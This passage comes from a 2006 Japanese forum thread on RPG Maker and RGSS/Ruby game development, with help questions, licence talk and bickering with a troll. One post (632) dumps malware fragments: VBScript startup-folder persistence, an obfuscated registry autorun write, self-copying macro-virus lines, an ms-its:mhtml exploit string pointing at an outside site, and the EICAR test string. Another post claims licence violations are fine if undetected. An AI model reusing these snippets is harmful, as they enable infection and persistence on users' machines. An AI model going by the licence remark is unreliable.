ヘックスは大変でも段違いの四角ならそんなに大変でも無かろうにそうしないで碁盤目が
多いのはそのあたりが原因だと思うんだよ。

個人的にネクタリスのような弱いユニットでも戦線の張り方で勝てる強力なZOCによる
包囲効果があるゲームが好きだな。

583:名前は開発中のものです。
06/11/19 09:28:49 97KpwG19
ところで何故526はXPを使えば自作DBの編集をGUIでできると思ったのだろうか
普通に考えてできるわけないと思うのだが

584:名前は開発中のものです。
06/11/19 09:37:52 PcdUc3kz
>>576
動作指定じゃ出来ないかもしれないけど、ページ分けて2ページ目のグラフィックをその上向きの左のにすればいいんでなかろうか。
スイッチで2ページ目に移行すればグラも変わる。アニメーションタイプは完全固定。
めんどくさいかもしれないけど。

585:名前は開発中のものです。
06/11/19 10:18:39 2cxGolRB
>>583
RGSS=Rubyってことだろ(と>>526が考えたってこと)。
RGSSでDBの使用を考えるくらいなら最初からRubyで作った方がよくないか、とは思う。

ゲームつくるのに積極的にRuby使う利点ってあるのかな?


586:名前は開発中のものです。
06/11/19 10:38:24 49PeT0Mb
無い。
ツクール信者が盲信しているだけ。

587:名前は開発中のものです。
06/11/19 10:39:13 S9/dw73o
Rubyの言語仕様はステキだとおもう
あとは公式リファレンスが日本語とか

動作速度が遅いのが今後の課題だとは思う

588:名前は開発中のものです。
06/11/19 12:08:35 Ua8Nv42C
別に盲信なんかしてる奴は居ないよな。遅い事は使ってる奴はわりと皆不満としてこぼすし。
rubyのメリットは薄くてもRGSSはツクールが込みという事を考えるとそれが物凄い利点だよ。

589:名前は開発中のものです。
06/11/19 12:44:04 O8/GxI1f
>>584
ありがとう
やっぱりそうだよね・・・・



590:名前は開発中のものです。
06/11/19 14:17:09 n/kdPA70
RPGツクール95のデーターってシューティングツクール95でいじれる?

591:580
06/11/19 17:39:25 4PGs0u+9
>>581
だから、Rubyで作ればいいんじゃね?

もしかして、テストプレイ中(ゲーム起動中)にアクターなどのデータを
エディタで変えて、それがすぐに反映されるとか思ってる? 反映されないよ。
エディタから出力されたファイルを、ゲームエンジン(Game.exe)が読んでるだけだよ。

あと、キミの言うDBをDBMSのことだと思ってる人がいる。

592:名前は開発中のものです。
06/11/19 17:44:54 cwIbgIIB
言語のデキと実行環境のデキを混同している方がいらっしゃるようだなw
ツクールVistaではC++かC#でも実装してもらうか?w

593:580
06/11/19 17:48:16 4PGs0u+9
>>585
まったくない。

オレはRuby厨なので、Rubyでゲームが作れるRGSSは素敵だが、それしかない。
Rubyの利点はオブジェクト指向でトライアンドエラーがしやすいことなので、
まあ、ゲームの高レベルな部分を作るのには向いてるかなと思わなくもない。

>>588
遅いって不満が、画像の描画以外であることはあんまりないかと。

594:名前は開発中のものです。
06/11/19 17:55:58 6nVAngE1
>>591
> >>581
> だから、Rubyで作ればいいんじゃね?

>>573
> ツクールのスクリプトでツクるのは大変


どうやら591は「ツクールのスクリプト」=Rubyを理解できていないようだ

595:580
06/11/19 18:04:41 4PGs0u+9
>>594
あー、そうか。
「RGSS=Ruby+ゲーム用ライブラリの実行環境」ってことを理解してないんだな。

RybyにはGUIライブラリもあるよー、581。
RGSSでは操作性最悪のしか作れないかもしれないが、
Rubyでなら作れるよー。結構簡単に。

596:名前は開発中のものです。
06/11/19 18:17:10 2cxGolRB
>>595
しかしな、Rubyしか使えないプログラマなんていないだろ。
RGSSはあんたの言うとおり「RGSS=Ruby+ゲーム用ライブラリの実行環境」だから
RGSS使わないなら他の言語使った方がよくないか?

>>592
>ツクールVistaではC++かC#でも実装してもらうか?w
あ、C#使えるC#GSS付きのRPGツクールVistaならまじで欲しいなw

C++はいらね。ツクールの部分が邪魔になりそう。

597:594
06/11/19 18:23:30 6nVAngE1
>>595
お前のことだよボケ

598:名前は開発中のものです。
06/11/19 18:26:35 2cxGolRB
>>597
餅つけ。


599:580
06/11/19 18:43:02 4PGs0u+9
>>596
Marshal.dumpしたファイル(RGSSのload_data関数で読めるもの)なんかを生成する、
データエディタが欲しいなら、この一点でのみRubyお勧め。

これがいらないなら、自分の知ってる言語でいいんじゃね?

600:580
06/11/19 18:44:38 4PGs0u+9
>>597
オレに言ってたのか。

>573>無理やり拵えても、多分操作性が悪すぎる。
RGSSのこと言ってるんだと思われ。

601:526
06/11/19 19:26:02 i4c0N3Gy
なんか俺のせいで妙な雰囲気になっちまってごめんなさい。
俺が言いたかったのは、ツクールにオリジナルDBを視覚的に
作成できる画面がないから別に作らないとなということです。
最初は専用のマップエディタや各種ステータス設定画面をRGSSで、
つまりツクールのゲーム実行中に埋め込んでしまおうかと
考えたんですが(大戦略の兵器図鑑やマップエディタみたいな感じで)、
素直に作ると物理的な操作系がツクールに縛られるので少なくとも
開発者(=俺)にとって「操作性が悪すぎる」ということです。
EXCELやACCESSでさっさと作れそうかなぁと思ってるんですが、
RubyでもGUIアプリを作成する環境(ここではライブラリのことではなく
フォームデザイナ等の開発ソフトのことです)があるようなので
>>599さんの仰るように、余計な処理をかませる必要のなさそうなことも
含めて検討しております。
色々な見解や情報をレスしてくれてありがとう。
もう大丈夫そうなので作業を進めます。
さあ、もとの雰囲気に戻ってくださいまし。

602:名前は開発中のものです。
06/11/19 19:45:23 2cxGolRB
殺伐としたのは>>594のせいだから>>594が消えればいいと思うよw


603:名前は開発中のものです。
06/11/19 20:41:31 4Jwfvkpq
べつに殺伐としても問題無いよ
意味の無いレスで埋まってるわけでもないし

604:名前は開発中のものです。
06/11/19 20:47:22 Ua8Nv42C
>>601
SLGは非常に興味深いし、プレーヤーとしては実はRPGより好きなんで
また何か進展があったら報告とかあると嬉しいな。
こういうことがあると議論がぶつかるのは良くあること
内容まで脱線したグダグダな口喧嘩になってるわけじゃないし
まぁこのくらいなら製作意図の違いによる熱い討論レベルだし気にすることは無いんじゃないと思う。

多少うが無に見えるものや、動く物が上がれば説得力が段違いだし、
意見の違っていた人も、それはそれで認めてくれるんじゃない?

楽しみにしてるんで頑張ってください。

605:580
06/11/19 22:49:34 4PGs0u+9
>>601
ゲーム中に動的に変更するなら、自分で書くしかないね、結局。
F9(デフォのデバッガ呼び出し)とかで外部データを読み込むものだけ作れば、
あとは好きにできるわけで、そっちの方がツクールに変な機能ついてるより楽だと思う。

あとRGSSにもWin32APIは入っているので、
がんばれば別ウインドウとかも出せるんじゃないかな。

606:名前は開発中のものです。
06/11/20 00:46:32 uA7uvNOH
>>605
別ウィンドウ出すのも別にそんな難しくも無いけど
わざわざツクールでやるメリットなんかないっしょ
サンプル全部捨てて1から作る位ならRuby+SDLで自分でラッパー書いたほうがマシだと思うが

まぁ世の中にはVBでAPI使いまくってゲーム作る奴もいる事だし余計なお世話かもしれんけど


607:580
06/11/20 01:09:09 neNT2vzW
>>606
デフォのスクリプト全部捨てるって話ではないので。
つか、別ウインドウ出す必要は、オレは感じてないよ。

あと、個人的にはRuby/SDLよりRGSSのライブラリの方が好き。
必要最低限にまとまってて。自分でラッパー書かなくていいや、ぐらいの話だが。

608:タナ栗粉 ◆8Tdr0tD9Mk
06/11/20 12:56:50 WC/RLNqE
スクリプトシェルフの管理人の桜なんたらって人が作った作品っておもしろいの?宝石と冒険者だかなんだか

609:名前は開発中のものです。
06/11/20 12:59:23 R4sOTX7V
プレイ時間1時間って書いてあるんだし自分でやれよ

610:タナ栗粉
06/11/20 14:34:04 WC/RLNqE
自分でやんのがめんどくせえから聞いてんだろがダボ

611:名前は開発中のものです。
06/11/20 17:23:38 OWvmZ6PL
やめてーわたしのために争わないでー

612:タナ栗粉
06/11/20 20:00:46 WC/RLNqE
なんちゃって嘘だよ
ごめん
ところでツクール作品でもっとも良作ってなに?

613:名前は開発中のものです。
06/11/20 21:05:00 fLe7tSRG
>>609
誰に向かっていってるんだ?誤爆は気をつけろよ。

614:名前は開発中のものです。
06/11/20 21:06:53 xBvzxuxP
>>612
飯野賢治の300万本売れるRPGじゃないの?


615:名前は開発中のものです。
06/11/20 21:45:01 aJxX5ev0
はいはい、空気に向かって話しかけてるのはみっともないぞ。
>>609,614

616:タナ栗粉
06/11/20 22:23:11 WC/RLNqE
>>615俺に嫉妬しすぎ
┓(´._ゝ`)┏
でもあやまっとくよ
いくらきみが望んでも生まれ持った才能は分けてあげられない 本当こればっかりは申し訳ない

617:名前は開発中のものです。
06/11/20 22:32:33 fLe7tSRG
そうかタナが来てるのか、気がつかなかった、
内容は良く判らんがあんまり相手にしなさんな。

618:名前は開発中のものです。
06/11/20 22:41:57 mLrzdNQ8
良作といっても人によって好みが違うから決められるものじゃないだろ

619:名前は開発中のものです。
06/11/20 22:44:44 yiXEiLNW
>>617
何だ?タナって?

620:名前は開発中のものです。
06/11/20 23:01:12 aJxX5ev0
>>617
わざわざ名前で呼んでる時点で馬鹿に餌やってることに気付け。
どうしても呼びたきゃ、テンプレ通りタナ厨とでも呼んでやれ。

621:名前は開発中のものです。
06/11/21 01:58:47 4VD5a3/r
>>619
なんていうか今時は子供も言わないような我儘な態度で質問の答えを強要して来る変なコテハンだよ。
相手にしてると切りが無くなる、しなくても来るけどw

622:名前は開発中のものです。
06/11/21 02:01:12 4VD5a3/r
おっとまたレス番飛んでるw
ようは600以降では608、610、612、616、620あたり。

623:名前は開発中のものです。
06/11/21 10:01:35 IQoAHzh2
つーか、もう他茄は来るな、氏ね!
コイツのせいでスルーされた質問数知れず、自分さえ良ければ他の奴が
どうなろうが知ったこっちゃないって典型的な糞野郎の分際で調子に乗るな!
俺も以前この蛆虫のせいでスルーされたからな、マジ存在自体がウザい!
エターナ○の分際で何が「俺の作品はすげーから協力しろ」だ?
ふざけんじゃねっての、フナムシ野郎!
でかい口叩きたけりゃ自慢の妄想うpってからにしやがれ!

624:名前は開発中のものです。
06/11/21 10:10:28 L2iUY0WG
それは別の理由があるんじゃねーのー?

625:名前は開発中のものです。
06/11/21 11:31:09 4VD5a3/r
エターナ○ってなんだ?なんとなく差別用語の匂い。

626:タナ栗粉 ◆8Tdr0tD9Mk
06/11/21 12:22:20 uXlcnbOO
>>623おまえかわいいな
チューするぞ

627:名前は開発中のものです。
06/11/21 13:18:59 NKAHTtRD
棚って山田って奴と一緒でしょ。家ゲRPGツクスレやゲ製ツクスレで繁殖していた奴とやり口が一緒ですもの。

エターナル→エターナルチャンピオンなどと称されるように
【永遠の~】という意味で、永遠に制作が終わらないツクーラーなどを
揶揄してエターナルと呼んだ。

628:名前は開発中のものです。
06/11/21 15:09:20 L2iUY0WG
語源はこれだな。
URLリンク(studiodias.port5.com)

629:名前は開発中のものです。
06/11/21 15:48:07 NKAHTtRD
>>628
語源1009

630:名前は開発中のものです。
06/11/21 15:53:34 Wu1+q31F
ちょっと質問させてくれ。
友人から要らなくなったと言って2000を譲ってもらったんだが、
これをインストールしたらやっぱ違法になるのかなぁ・・・・・
そこらへん詳しい人教えてください。

631:名前は開発中のものです。
06/11/21 15:58:58 NKAHTtRD
ライセンスも含めて譲渡して貰ってください。

632:名前は開発中のものです。
06/11/21 16:54:26 CMuuaM1v
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLリンク(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

633:名前は開発中のものです。
06/11/21 19:19:34 Wu1+q31F
>>631
バカな俺にもうちょっとkwsk教えてくれ。 頼む

634:名前は開発中のものです。
06/11/21 22:31:03 StR14aQj
>>631
ライセンスはソフトの所有者にあるからソフトを譲渡してもらった時点でライセンスはあなたにあるよ。
ただし、所有権を譲った以上、もとの所有者である君の友人が自分のPCにインストールしたままだと、
君の友人はライセンス違反になる。

もしも、そのソフトを友人から貸与されて使用した場合には所有権はその友人にあるので君がライセンス違反になる。
場合によっては(てか普通は)ソフトの貸与自体がライセンス違反になるから君も友人もライセンス違反になる可能性もある。

でも、バレなきゃいいのよwwwww
犯罪は発覚した時点で犯罪なのよ。


635:名前は開発中のものです。
06/11/21 22:31:42 StR14aQj
>>631じゃなくて>>633だった・・・

636:名前は開発中のものです。
06/11/21 22:48:22 klpEbWwk
RPGツクール2000の質問です。
主人公の名前の変更時に他の主人公と重複しないようにしたいのですが
条件で\v[x]を使用しても参照できていないようです。
他の主人公の名前と比較する方法があれば教えてください。

637:名前は開発中のものです。
06/11/21 23:23:03 JbtgywjM
条件ちゃんとみろ

638:名前は開発中のものです。
06/11/21 23:30:09 s6uV0oVs
作ったの配布するには、ユーザー登録ハガキを送る必要もあったよな?

639:636
06/11/21 23:36:28 klpEbWwk
間違えました、\n[0]で参照できません

640:名前は開発中のものです。
06/11/22 00:56:47 hi0t3O0H
もう2000の登録は送ってもただそれだけっぽい、問い合わせの時も番号を言っても向こうはわからなかったり
管理をちゃんとやっていない感じだし、そのデータ自体のデータベースが現在あるのかも怪しい状態。

641:名前は開発中のものです。
06/11/22 01:19:34 0iBiQGom
そんなんで、ユーザ登録ハガキ必須とか言ってんのか('A`)

642:名前は開発中のものです。
06/11/22 01:31:08 pY8WoX1x
>>639
名前変更可能なキャラが複数いて、それらが重複しないようにしたいんだよね?
\N[n]が有効なところは限られてるから、ムリな気がする。
デフォルトネームに重複してるかは判定できるけど。
同名キャラを普通作りはしないから、プレイヤーにお任せするしかないんじゃない?
名前入力を使ったイベントを組みたいなら、考え直すしかないかと。

643:名前は開発中のものです。
06/11/22 01:50:33 7azrMRpP
>>634
日本の法ってややこしいな・・・サンクス!!

644:名前は開発中のものです。
06/11/22 05:37:38 mVS2A34P
そんなのいちいち気にするなんて律儀ですね。
さすがゲ製作技術板だ。

645:名前は開発中のものです。
06/11/22 23:31:08 7azrMRpP
技術に関する質問じゃなくて悪いんだが、このスレの住人の人って
ツクールで何か作品完成させたことある? もしよければ教えて欲しい

646:名前は開発中のものです。
06/11/22 23:40:21 mysPVd5M
>>645
完成させた奴は自分のHPでも作ってそっちでやってるよ。

647:名前は開発中のものです。
06/11/23 00:18:17 7KmoeQ9B
>646
作品がみたいんじゃなくて、完成させた人がいるかどうかを聞きたかった

648:名前は開発中のものです。
06/11/23 00:38:08 +GxueJkn
質問をはぐらかされるということは、です

649:名前は開発中のものです。
06/11/23 04:02:07 TV1BVAmA
あるけれど最近不穏な空気が濃くなっていて安心して作ったものをUPできるのはVIPくらい。

650:名前は開発中のものです。
06/11/23 12:40:55 jIcHT9mO
>>645>>649 の間にもの凄く温度差を感じた。
>>645 の言う作品というのは、そんなサンプルに毛の生えた様な代物ではないだろうに。

651:名前は開発中のものです。
06/11/23 20:24:38 b+j04Nn6
はは、確かに

652:名前は開発中のものです。
06/11/23 21:03:20 /g98BoGv
2000バリューで制作してるのだが、まったく同じイベントをやっているのに
命令が効いたり効かなかったり…ということが起こってしまった。

自作メニューをマップで作っていて、
メニューマップに行く前に「主人公の向き固定」
元のマップに行く前に「向き固定解除」で
「指定動作の全実行」はどちらとも直後に入れてる。
なのに、「向き固定」と「向き固定解除」の命令がしばしば片方効かなくなる。

この部分に関してはむちゃくちゃ単純だから、
イベントの組み方が変というわけではないと思うんだけど…。
こういう命令が効く効かない「ゆらぎ」みたいなのは時々あるのだろうか?

653:名前は開発中のものです。
06/11/23 21:13:17 4xFaXXJ0
うp

654:名前は開発中のものです。
06/11/23 21:46:35 TV1BVAmA
>>650
別に作品規模はどちらも何も言ってないのに勝手に温度差を感じるとはいかに?
サンプルに毛が生えた程度のサンプルとはどんな物だろう?ツクールに同梱されたサンプル作品は
短い物もあるが十分な完成作品といえる出来だと思うが?

655:名前は開発中のものです。
06/11/23 22:08:09 rTH5Jy9h
>>652
つか、面倒ならメニューに入る時の向きを変数で管理して、
メニューから戻る時に代入された変数に応じて向きを変更すればおk。

656:名前は開発中のものです。
06/11/23 22:48:10 /g98BoGv
原因わかった。
決定キー押してるとダッシュできるようにしてたんだけど
たぶんそれのせいだ。
書いてなかったことが原因ですまん。

うpしようかとメニュー関連だけ取り出したら、
それまで5回に1回くらいは不具合起きてたのが
ピタッと止まったのでわかった。
ともかくここに相談したことで原因解明した。ありがと。

657:653
06/11/24 00:23:16 iqZ9NDRW
>>656
俺の的確なアドバイスのお陰だな。
もっと感謝しなさいよ。

658:名前は開発中のものです。
06/11/24 01:40:48 x5Afjfuy
てめえwww

659:名前は開発中のものです。
06/11/24 14:06:04 vHrxg56h
たった2文字で解決させちまうとはな

660:名前は開発中のものです。
06/11/24 14:44:50 /E6j1+Wk
コナンでもそうは行かんな

661:タナ栗粉
06/11/24 19:26:50 iYQRpe0E
いやあ、考えたシナリオって月日とともに大分かわるね
初期に考えてたのは今思うとひでえな、俺の小説のシナリオよりひどいレベルだったからな
今はかなりよくなった。俺のRPGのシナリオ知りたいひと

662:名前は開発中のものです。
06/11/24 21:11:43 7QD5YBkK
あらすじなんかどうでもいいからとっととうpしろよ?
一体いつになったら出来るんだよ?


663:タナ栗粉
06/11/24 21:30:02 iYQRpe0E
あと半年もしたら完全に完成する

664:名前は開発中のものです。
06/11/24 22:42:09 1hNXieKM
エターナる

665:名前は開発中のものです。
06/11/25 04:52:52 OSfej1q9
何が?

666:タナ栗粉
06/11/25 12:47:02 eRvJ5j5W
誰も聞いてくれないのか
あーもういいよ ばーかばーか

667:名前は開発中のものです。
06/11/25 14:48:46 ch6mcSIS
じゃあ聞いてやるから、とりあえずwordでシナリオ関連をまとめて、うpしてみろよ
脳内で作ったストーリーなんてまともなもんじゃねーし
ツクールの歴史変えるだのと散々言ってきたんだから、それ位当たり前だよな?

668:名前は開発中のものです。
06/11/25 16:19:52 jfDjeXNV
>>666
ああ、ワードでまとめてくれれば、
こっちも評価のしようがあるんだけどな。

669:タナ栗粉
06/11/25 17:06:03 eRvJ5j5W
そんな無理難題を俺に突き付けてさあ俺をつぶそうと・・・
あー なるほどお 強大な敵は若い芽のうちにってわけ?

670:名前は開発中のものです。
06/11/25 17:08:52 IMhFadJq
エターナッてはや3年。
システムツクって燃え尽きちまう。   

671:名前は開発中のものです。
06/11/25 17:12:48 jfDjeXNV
>>669
いやいや、設定を箇条書きにしたものだけでいいからさ。
ワードでまとめて、ロダに上げてくれや。
ここで延々とレスするよりは、まとまった文章で発表するほうがいいだろ?

672:名前は開発中のものです。
06/11/25 17:15:06 rgV5wg96
そうだよね。どうせ途中で投げて日の目をみることはないんだろうし、設定だけでも発表してすっきりしちゃいなよ。

673:名前は開発中のものです。
06/11/25 17:37:23 ch6mcSIS
天才ツクーラーなんだからその程度のことわけないだろ?
自分の作ったストーリーの筋書きもまとめられない奴を
「強大な敵」とは呼べないな。少なくとも俺は。

674:タナ栗粉
06/11/25 18:47:02 eRvJ5j5W
別に普通に設定書けばいいんだろ?つか確か前ここに書いた気がするけどまあいいか

675:名前は開発中のものです。
06/11/25 18:57:13 jfDjeXNV
>>674
おう。
ワードでちゃんとまとめてな。
よろしく頼むぜ!

676:名前は開発中のものです。
06/11/25 19:50:05 zT/yEFpr
練習用にドラクエ1をツクール上で再現するのって違法?

677:名前は開発中のものです。
06/11/25 20:00:42 zT/yEFpr
あ・・・話の流れをぶった切ってしまったようだ^^; スマン
ところで、タナ厨のゲームって神獣がなんとかってやつだっけか? うp

678:名前は開発中のものです。
06/11/25 20:02:54 unIdZTV3
早く天才ツクーラータナの設定資料集見たいな~

679:名前は開発中のものです。
06/11/25 20:03:32 kRzKcBcu
グレーゾーンじゃね?
再現して個人で楽しむ分にはほとんど問題ないかと

それを公開するとかはアレだな クロゲパ行き
クロゲパに行ったところでどうなるって問題じゃないけどな

680:名前は開発中のものです。
06/11/25 20:04:47 kRzKcBcu
>>679>>676に対してね
要は再現するだけならいいんじゃね?って話

681:名前は開発中のものです。
06/11/25 20:06:37 zT/yEFpr
>>679 >>680
レスサンクス♪
練習用だし、あくまで個人的なものだからよかったゎw

682:タナ栗粉
06/11/25 21:29:20 eRvJ5j5W
【作品名】
オヴェルスの翼
【あらすじ 設定】
「聖なる地オヴェルス それはすべての始まりの場所
悲しみも絶望も そして光さえも」

レーヴェンドと呼ばれる世界 そこは「ヨミ」という名の魔物が存在していた。
ヨミは幼生から成体へと進化し、新たな幼生を産み次々と増えていった。
ヨミの前では新兵器の「銃」ですら玩具同然だった。
家族を切り裂かれ友をほふられ 人々は滅びを決意する。
しかしある日 オヴェルスから翼を持った古代生物が四体発見された。
聖地から発見されたというその生物は神獣と名付けられた。
そしてヨミに対抗するために、一人の男が己の体に神獣の細胞を埋め込み 人知を越えた力を手にすることに成功した。・・・・ある代償と引き替えに。
そしてその後 ヨミを恨む者 何かを守ろうとする者 名誉を得ようとする者 数々の人間がその力を手にする。


時は50年後 神獣の細胞を埋め込み、力を得た人間による組織が結成されていた。
そしてその組織は聖地オヴェルスをはばたかせる者という意味を込め
「オヴェルスの翼」と呼ばれるようになった。
オヴェルスの翼は新兵器である「銃」の登場により衰退していった「剣」や「槍」と呼ばれる「古代神器(こだいしんき)」を駆使する。
そしてオヴェルスの翼は村や町 ある時は国から依頼を受けヨミを討伐する 無くてはならない存在となっていた。
オヴェルスの翼は実力や戦績に応じて大きく三つに分けられ
小隊の隊長や各隊の伝令、監視を行う「黒羽」
隊長の補佐などを行う「赤羽」
そして通常の戦闘員である最下層「白羽」からなる。
主人公ツウァイスはある目的のためにオヴェルスの翼となる。


683:タナ栗粉
06/11/25 21:30:24 eRvJ5j5W
主人公ツウァイスはある目的のためにオヴェルスの翼となる。
白羽であるツウァイスだが腕に刻まれた白い翼の紋章は何故か片翼だった。
そして白羽でありながら黒羽以上の力を発揮するツウァイス
物語が進むにつれ自分が所属することになる小隊の隊長レインや、離反者で元小隊の隊長であるベルガー、新しく小隊に所属してきたアルゼなど仲間が増えていく
しかしツウァイスは自分の感情を決して表に出そうとはしない
そんなツウァイスだったがやがて自分の故郷がある人間により壊滅されたことを語る
そしてそれはかつてのツウァイスの恩人だった。
オヴェルスの翼となるための代償
それは神獣の細胞の拒絶反応により定期的にくる激痛
そして記憶を少しずつ無くしていくことだった
更に時が経つにつれその症状は悪化し全ての「オヴェルスの翼」はやがては廃人となる。
しかしまれにその症状が急激に進行し神獣の細胞に支配され、廃人とはならず 強い怨念だけを糧に破壊を繰り返し、さ迷う「咎羽」となる。
あるヨミに導かれ「咎羽」となったツウァイスの恩人は故郷を壊滅させ そのヨミと共に姿を消したのだった。

いつも憎しみに塗れた剣を振るうツウァイス。
その話を聞いただれもがツウァイスは復讐を果たすために戦っているのだと思った。
恩人を咎羽へと陥れたヨミへの復讐 確かにそれがないわけではなかった。しかしツウァイスの本当の目的はその恩人を斬ることだった。
誰よりも優しく 誰よりもお人好しだった かつての恩人
そんな恩人がわけもわからず人を傷つけている
その苦しみから恩人を解放することがツウァイスの本当の目的だったのだ。
復讐と解放 その狭間で揺れながら それでも全てを捨て 解放を選んだツウァイス。
そして再び剣を取る


684:名前は開発中のものです。
06/11/25 21:48:27 t8pTfz4l
>>682
wordで上げろ、読む気がしない。

685:名前は開発中のものです。
06/11/25 21:51:11 eRvJ5j5W
無理 俺基本携帯だから 苦労して書いたんだから読め

686:名前は開発中のものです。
06/11/25 22:02:44 t8pTfz4l
>>685
それはいいことを聞いた。
ほれ、

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